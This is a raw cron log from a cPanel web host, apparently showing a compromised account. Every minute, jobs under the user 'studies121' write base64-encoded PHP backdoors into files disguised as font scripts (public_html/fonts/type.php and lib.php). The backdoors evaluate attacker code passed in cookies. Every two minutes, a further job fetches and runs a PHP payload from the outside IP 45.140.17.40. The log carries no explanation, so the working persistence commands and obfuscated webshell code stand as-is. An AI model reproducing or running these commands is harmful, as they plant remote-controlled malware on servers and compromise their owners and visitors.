Sep  8 23:20:01 ip-184-168-122-23 CROND[7069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:20:01 ip-184-168-122-23 CROND[7071]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:20:01 ip-184-168-122-23 CROND[7075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:20:01 ip-184-168-122-23 CROND[7080]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:20:01 ip-184-168-122-23 CROND[7079]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 23:20:01 ip-184-168-122-23 CROND[7081]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:20:01 ip-184-168-122-23 CROND[7082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:21:01 ip-184-168-122-23 CROND[7184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:21:01 ip-184-168-122-23 CROND[7185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:21:01 ip-184-168-122-23 CROND[7188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:21:01 ip-184-168-122-23 CROND[7187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:22:01 ip-184-168-122-23 CROND[7347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:22:01 ip-184-168-122-23 CROND[7352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:22:01 ip-184-168-122-23 CROND[7351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:22:01 ip-184-168-122-23 CROND[7349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:22:01 ip-184-168-122-23 CROND[7350]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:23:01 ip-184-168-122-23 CROND[7428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:23:01 ip-184-168-122-23 CROND[7430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:23:01 ip-184-168-122-23 CROND[7431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:23:01 ip-184-168-122-23 CROND[7433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:24:01 ip-184-168-122-23 CROND[7508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:24:01 ip-184-168-122-23 CROND[7510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:24:01 ip-184-168-122-23 CROND[7511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:24:01 ip-184-168-122-23 CROND[7512]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:24:01 ip-184-168-122-23 CROND[7513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:25:01 ip-184-168-122-23 CROND[7607]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:25:01 ip-184-168-122-23 CROND[7608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:25:01 ip-184-168-122-23 CROND[7609]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:25:01 ip-184-168-122-23 CROND[7610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:25:01 ip-184-168-122-23 CROND[7612]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:25:01 ip-184-168-122-23 CROND[7613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:26:01 ip-184-168-122-23 CROND[7701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:26:01 ip-184-168-122-23 CROND[7705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:26:01 ip-184-168-122-23 CROND[7703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:26:01 ip-184-168-122-23 CROND[7706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:26:01 ip-184-168-122-23 CROND[7704]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:27:01 ip-184-168-122-23 CROND[7788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:27:01 ip-184-168-122-23 CROND[7790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:27:01 ip-184-168-122-23 CROND[7792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:27:01 ip-184-168-122-23 CROND[7795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:28:01 ip-184-168-122-23 CROND[7952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:28:01 ip-184-168-122-23 CROND[7953]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:28:01 ip-184-168-122-23 CROND[7957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:28:01 ip-184-168-122-23 CROND[7956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:28:01 ip-184-168-122-23 CROND[7958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:29:02 ip-184-168-122-23 CROND[8035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:29:02 ip-184-168-122-23 CROND[8036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:29:02 ip-184-168-122-23 CROND[8038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:29:02 ip-184-168-122-23 CROND[8037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:30:01 ip-184-168-122-23 CROND[8203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:30:02 ip-184-168-122-23 CROND[8207]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:30:02 ip-184-168-122-23 CROND[8206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:30:02 ip-184-168-122-23 CROND[8209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:30:02 ip-184-168-122-23 CROND[8210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:30:02 ip-184-168-122-23 CROND[8211]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 23:30:02 ip-184-168-122-23 CROND[8212]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:30:02 ip-184-168-122-23 CROND[8213]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:31:01 ip-184-168-122-23 CROND[8307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:31:01 ip-184-168-122-23 CROND[8310]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 23:31:01 ip-184-168-122-23 CROND[8309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:31:01 ip-184-168-122-23 CROND[8312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:31:01 ip-184-168-122-23 CROND[8311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:32:01 ip-184-168-122-23 CROND[8396]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:32:01 ip-184-168-122-23 CROND[8400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:32:01 ip-184-168-122-23 CROND[8398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:32:01 ip-184-168-122-23 CROND[8401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
